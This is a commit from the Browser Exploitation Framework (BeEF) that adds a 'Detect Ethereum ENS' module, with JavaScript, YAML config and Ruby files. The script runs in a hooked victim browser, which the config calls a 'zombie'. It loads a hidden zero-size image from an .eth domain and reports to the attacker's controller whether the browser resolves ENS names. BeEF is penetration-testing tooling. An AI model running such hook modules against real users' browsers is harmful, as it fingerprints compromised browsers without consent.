Detect Ethereum ENS (#2342)
This commit is contained in:
43
modules/network/detect_ethereum_ens/command.js
Normal file
43
modules/network/detect_ethereum_ens/command.js
Normal file
@@ -0,0 +1,43 @@
|
||||
//
|
||||
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
if (document.getElementById('ethereum_ens_img_<%= @command_id %>')) {
|
||||
return "Img already created";
|
||||
}
|
||||
|
||||
var img = new Image();
|
||||
img.setAttribute("style", "visibility:hidden");
|
||||
img.setAttribute("width", "0");
|
||||
img.setAttribute("height", "0");
|
||||
img.src = '<%= @ethereum_ens_resource %>';
|
||||
img.id = 'ethereum_ens_img_<%= @command_id %>';
|
||||
img.setAttribute("attr", "start");
|
||||
img.onerror = function() {
|
||||
this.setAttribute("attr", "error");
|
||||
};
|
||||
img.onload = function() {
|
||||
this.setAttribute("attr", "load");
|
||||
};
|
||||
|
||||
document.body.appendChild(img);
|
||||
|
||||
setTimeout(function() {
|
||||
var img = document.getElementById('ethereum_ens_img_<%= @command_id %>');
|
||||
if (img.getAttribute("attr") == "error") {
|
||||
beef.debug('[Detect Ethereum ENS] Browser is not resolving Ethereum ENS domains.');
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is not resolving Ethereum ENS domains.');
|
||||
} else if (img.getAttribute("attr") == "load") {
|
||||
beef.debug('[Detect Ethereum ENS] Browser is resolving Ethereum ENS domains.');
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is resolving Ethereum ENS domains.');
|
||||
} else if (img.getAttribute("attr") == "start") {
|
||||
beef.debug('[Detect Ethereum ENS] Timed out. Cannot determine if browser is resolving Ethereum ENS domains.');
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Timed out. Cannot determine if browser is resolving Ethereum ENS domains.');
|
||||
};
|
||||
document.body.removeChild(img);
|
||||
}, <%= @timeout %>);
|
||||
|
||||
});
|
||||
15
modules/network/detect_ethereum_ens/config.yaml
Normal file
15
modules/network/detect_ethereum_ens/config.yaml
Normal file
@@ -0,0 +1,15 @@
|
||||
#
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
detect_ethereum_ens:
|
||||
enable: true
|
||||
category: "Network"
|
||||
name: "Detect Ethereum ENS"
|
||||
description: "This module will detect if the zombie is currently using Ethereum ENS resolvers. Note that the detection may fail when attempting to load a HTTP resource from a hooked HTTPS page."
|
||||
authors: ["wade", "pdp", "bm", "xntrik", "bcoles"]
|
||||
target:
|
||||
working: ["ALL"]
|
||||
23
modules/network/detect_ethereum_ens/module.rb
Normal file
23
modules/network/detect_ethereum_ens/module.rb
Normal file
@@ -0,0 +1,23 @@
|
||||
#
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Detect_ethereum_ens < BeEF::Core::Command
|
||||
def self.options
|
||||
[
|
||||
{ 'name' => 'ethereum_ens_resource', 'ui_label' => 'What Ethereum ENS image resource to request', 'value' => 'http://ens.eth/static/favicon-6305d6ce89910df001b94e8a31eb08f5.ico' },
|
||||
# Alternatives:
|
||||
# http://esteroids.eth/favicon.ico
|
||||
# http://api3.eth/api3-logo-white.svg
|
||||
# http://api3.eth/favicon.ico
|
||||
{ 'name' => 'timeout', 'ui_label' => 'Detection timeout', 'value' => '15000' }
|
||||
]
|
||||
end
|
||||
|
||||
def post_execute
|
||||
return if @datastore['result'].nil?
|
||||
|
||||
save({ 'result' => @datastore['result'] })
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user